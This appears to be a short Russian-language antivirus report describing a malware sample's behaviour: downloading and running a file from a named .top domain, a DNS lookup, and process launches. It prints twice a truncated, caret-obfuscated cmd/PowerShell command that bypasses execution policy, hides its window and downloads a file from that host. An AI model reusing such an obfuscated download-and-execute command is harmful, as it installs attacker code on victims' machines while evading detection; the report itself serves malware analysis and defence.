Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zussipussicscds.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "poWE^rSh^ELl.e^Xe ^-E^x^EC^ut^IONP^O^L^ICy^ ^b^yPASS -^n^OP^ROfILE -W^IN^do^wSty^le hidd^eN (New^-^o^bjEC^T ^SYSt^E^m.^NET.^WEBC^lI^enT^).^DowN^LoA^D^fil^e^(^'http://zuss...
Сетевая активность
UDP
- DNS ASK zu####ussicscds.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "poWE^rSh^ELl.e^Xe ^-E^x^EC^ut^IONP^O^L^ICy^ ^b^yPASS -^n^OP^ROfILE -W^IN^do^wSty^le hidd^eN (New^-^o^bjEC^T ^SYSt^E^m.^NET.^WEBC^lI^enT^).^DowN^LoA^D^fil^e^(^'http://zuss...' (со скрытым окном)
